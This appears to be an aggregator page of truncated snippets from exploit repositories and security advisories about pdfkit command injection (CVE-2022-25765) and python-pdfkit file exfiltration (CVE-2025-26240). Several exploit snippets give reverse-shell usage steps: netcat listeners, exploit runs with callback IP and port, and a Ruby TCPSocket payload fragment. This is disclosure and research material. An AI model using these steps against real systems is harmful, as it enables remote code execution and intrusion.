PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 コマンドインジェクション。 pdfkit パッケージは、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 注: この問題は 0.8.7.2 でパッチが当てられましたが、そのパッチは効果がないことが判明しました。更新されたパッチバージョンは 0.8.7.2 です。 PoC HTTP サーバーを起動する root@kitploit: python3 -m http.server 80 netcat リスナーを起動する root@kitploit: nc...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由（太字 の値を変更）: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

PDFKitExploit

このリポジトリには README がありません。...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit 漏洞利用 - 命令注入 喜欢这个仓库吗？给我们一个 ⭐！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 pdfkit 包从 0.0.0 版本起即存在命令注入漏洞，因为其 URL 未被正确清理。 漏洞利用说明 Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本（ python3 exploit-CVE-2022–25765.py -s python3 exploit-CVE-2022–25765.py -c -...

CVE-2022-25765

CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: root@kitploit: nc -lvnp 4444 2. エクスプロイトを実行します: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: root@kitploit: python cve-2022-25765.py -t...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 root@kitploit: 1- python3 -m http.server 80 netcat リスナーの起動 root@kitploit: 2- nc -lnvp 'Target Port' リクエストの送信 root@kitploit: 3- http://"TARGETADDRESS:Target...

CVE-2022-25765

CVE-2022-25765 — pdfkit CVE-2022-25765 のPoC。脆弱なバージョンの pdfkit に影響します。 pdfkit 0.8.6 でテスト済みです。 要件 Python 3.x requests colorama 依存関係をインストールします: root@kitploit: pip3 install -r requirements.txt または手動で: root@kitploit: pip3 install requests colorama 使用方法 root@kitploit: python3 exploit2.py -u -l -p 例:...

CVE-2025-26240

CVE-2025-26240 これは、pdfkit の fromstring メソッドを悪用するための概念実証コードです。LFI と SSRF の両方を実証するシンプルなペイロードが含まれています。...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkitのコマンドインジェクション 説明 CVE-2022-25765 は、pdfkit （Ruby gem）のバージョン 0.8.7.2 に影響するコマンドインジェクション 脆弱性です。この脆弱性は CRITICAL の深刻度（CVSS 9.8）を持ち、認証なしでリモートからコマンドを実行できます。 問題は、pdfkit が url パラメータをサニタイズせずに直接シェルに渡すことにあります。ライブラリは内部で wkhtmltopdf を次のようなコマンドで実行します。 root@kitploit: system"wkhtmltopdf --qui...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 における CVE-2022-25765 コマンドインジェクションのエクスプロイト 脆弱性の詳細はこちらをご覧ください PoC ホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 1337 エクスプロイトを実行（例）: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost...

PYSEC-2026-2860 pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

Linux Distros Unpatched Vulnerability : CVE-2025-26240

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltratio...

GHSA-9G3X-6X24-VF9F pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

a2grunnerp (>=0.1.0, <=0.1.8), agentfoundry (>=1.3.9, <=1.5.86) +221 more potentially affected by CVE-2025-26240 via pdfkit (>=0.6.0, <=1.0.0)

pdfkit PYPI version =0.6.0, =0.1.0, =1.3.9, =1.2.0, =1.1.3, =0.1.35, =0.1.0, =0.1.0, =0.0.1, =0.0.1, =0.5.3, =0.5.5, =0.1.17, =0.1.23 and more Source cves: CVE-2025-26240 Source advisory: SNYK:PYTHON-PDFKIT-17391903...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

DEBIAN-CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

UBUNTU-CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

PT-2026-50449

Name of the Vulnerable Software and Affected Versions JazzCore python-pdfkit version 1.0.0 Description The from string function allows the execution of JavaScript code within the server application context, which can lead to the exfiltration of local files. Recommendations At the moment, there is...